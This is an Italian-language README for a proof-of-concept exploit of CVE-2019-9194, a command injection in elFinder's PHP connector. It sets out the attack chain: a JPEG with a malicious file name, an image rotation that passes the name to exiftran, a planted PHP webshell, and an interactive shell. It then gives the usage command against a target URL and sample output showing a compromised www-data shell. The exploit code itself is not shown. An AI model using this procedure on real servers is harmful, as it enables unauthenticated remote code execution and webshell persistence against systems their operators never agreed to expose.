CVE-2019-9194 — Iniezione di comandi in elFinder (PoC)

Vulnerabilità di iniezione di comandi in elFinder <= 2.1.47 tramite il componente connettore PHP. Consente l'esecuzione remota di codice non autenticata come utente del server web.

Come funziona

• Carica un JPEG valido con un nome file malevolo contenente un comando shell.
• Attiva la vulnerabilità richiedendo una rotazione dell'immagine, che passa il nome file a exiftran senza sanificazione.
• Il comando iniettato scrive una webshell PHP (SecSignal.php) sul server.
• Si connette alla webshell e apre una shell interattiva.

Requisiti

• Python 3
• libreria requests (pip install requests)
• Il target deve avere exiftran installato e il connettore PHP elFinder abilitato (connector.minimal.php)

Utilizzo

python3 exploit.py http://TARGET

Esempio:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)